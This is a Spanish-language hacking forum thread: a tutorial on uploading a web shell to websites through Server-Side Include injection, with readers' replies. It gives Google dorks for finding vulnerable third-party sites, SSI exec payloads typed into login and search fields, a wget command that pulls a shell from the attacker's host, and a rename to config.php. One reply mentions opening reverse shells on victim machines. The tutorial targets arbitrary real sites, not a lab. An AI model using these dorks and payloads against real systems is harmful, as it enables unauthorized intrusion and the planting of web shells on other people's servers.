Subir Shell a través de Inyección SSI (Server-side include)

Iniciado por CalebBucker, Junio 22, 2012, 03:07:17 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 22, 2012, 03:07:17 PM Ultima modificación: Noviembre 23, 2014, 12:55:30 PM por Expermicid

¿Qué es SSI?

Inyección SSI (Server Side Include) es una técnica de explotación de servidor que permite a un atacante enviar código a una aplicación web, que posteriormente será ejecutado localmente por el servidor web. Inyección de código SSI explota el fracaso de una aplicación web para desinfectar los datos suministrados por el usuario antes de que se insertan en un server-side interpretada archivo HTML.

Si un atacante envía un Server-Side Include, él puede tener la capacidad de ejecutar comandos del sistema operativo, o incluir el contenido de un archivo restringido la próxima vez que se sirve de la página.

Descripción: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Empecemos.

Paso I - Encontrar un Sitio Vulnerable:

El mejor Dork que he encontrado es inurl:bin/Cklb/ entonces lo escribimos en Google y vamos ir probando...

Paso II - Probando el Sitio Vulnerable:

Cuando usamos la Dork  iremos probando web por web para identificar si el sitio es vulnerable a este tipo de inyección...

¿Como identifico si el sitio es vulnerable?

Ejecutando estos simple comandos:
Código: php
<!--#echo var="DATE_LOCAL" -->
Mostrara la Fecha

<!--#exec cmd="whoami"-->
Mostrara que el usuario se esta ejecutando en el servidor (Windows)

<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre> (Linux)
Mostrara todos los archivos en el directorio

<!-- #exec cmd="dir" --> (Windows)
Mostrara todos los archivos en el directorio


Nota: Tenemos que utilizar las etiquetas <pre> </ pre> cuando ejecutamos algun comando.

Ejemplo: <pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre>

Entonces tomamos uno de los comandos y lo insertamos en los cuadros de búsqueda o campos de inicio de sesión.

Los campos de inicio de sesión en su mayoría son vulnerables.

Sitio Vulnerable, ejemplo
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Lo primero que haremos es ejecutar el comando en los campos como mencione lineas arriba, entonces esto deberia de quedar asi:



& nos devolverá todos los archivos del directorio....



Ahora vemos que nuestro comando se ejecutado con éxito y que el sitio es vulnerable ....

Paso II - Subiendo la Shell:

Como ya sabemos que el sitio web es vulnerable, entonces ya estamos listos para crear una shell.

En primer lugar tenemos que tener la shell en un .TXT y la subimos a cualquier host o nuestro host propio, ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ahora tenemos que descargar la shell con el siguiente comando:

<!--#exec cmd="wget No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" -->

Ahora sólo pegamos en el campo y pulsamos Entrar o Intro.



Para ver si el archivo en .TXT se ha descargado, tenemos que ejecutar el comando que usamos antes para listar los directorios:

<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre>

En este caso yo he colocado config1.txt ustedes pueden utilizar cualquier nombre



Entonces si vemos que se ha descargado correctamente, ahora solo debemos cambiar el nombre de .Txt  a .Php, utilizando el siguiente comando:

<!--#exec cmd="mv config1.txt config.php" -->

Ahora, tenemos que listar nuevamente todos los archivos y tratar de encontrar la shell, en este caso se mostrara como config.php



Ahora, como ya sabemos que la shell esta en formato php, solo nos faltaria entrar a dicho archivo desde el navegador:


& Voila tenemos nuestra shell....


Les dejare algunas dorks:
Código: php
inurl:bin/Cklb/ - Best Dork
inurl:login.shtml
inurl:login.shtm
inurl:login.stm
inurl:search.shtml
inurl:search.shtm
inurl:search.stm
inurl:forgot.shtml
inurl:forgot.shtm
inurl:forgot.stm
inurl:register.shtml
inurl:register.shtm
inurl:register.stm
inurl:login.shtml?page=


Espero que hayas aprendido algo...

Saludos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muy Bien Explicado!

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".



Muy bueno, lo estuve probando un poquito... en algunos casos es posible establecer una conexión reversa con la shell del sistema operativo víctima.

Gracias por compartir...

Saludos,

Muy bien explicado el tutorial, me gustaría complementarlo con este No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en el cual se explica mejor como funcionan los ServerSideIncludes para asi poder hacer mejor las inyecciones, también me gustaría añadir que es un poco dificil encontrar sitios web que aun usen SSI porque este método ya es muy arcaico, tanto como encontrar activo el method PUT en los Http Headers, Igual y un gran +1 porque el tuto está muy bien explicado!


Saludos,
Dedalo
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Una cosilla los comandos donde los ejecutas en la barra de navegacion en el login o donde?
Gracias de antemano ;)



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Una cosilla los comandos donde los ejecutas en la barra de navegacion en el login o donde?
Gracias de antemano ;)

Los comandos los puedes ejecutar tanto en el input text del usuario, como en la variable que pasa datos a partir de lo que tu escribes. Cuando me refiero a la variable estoy hablando de ¨la url¨.

Saludos,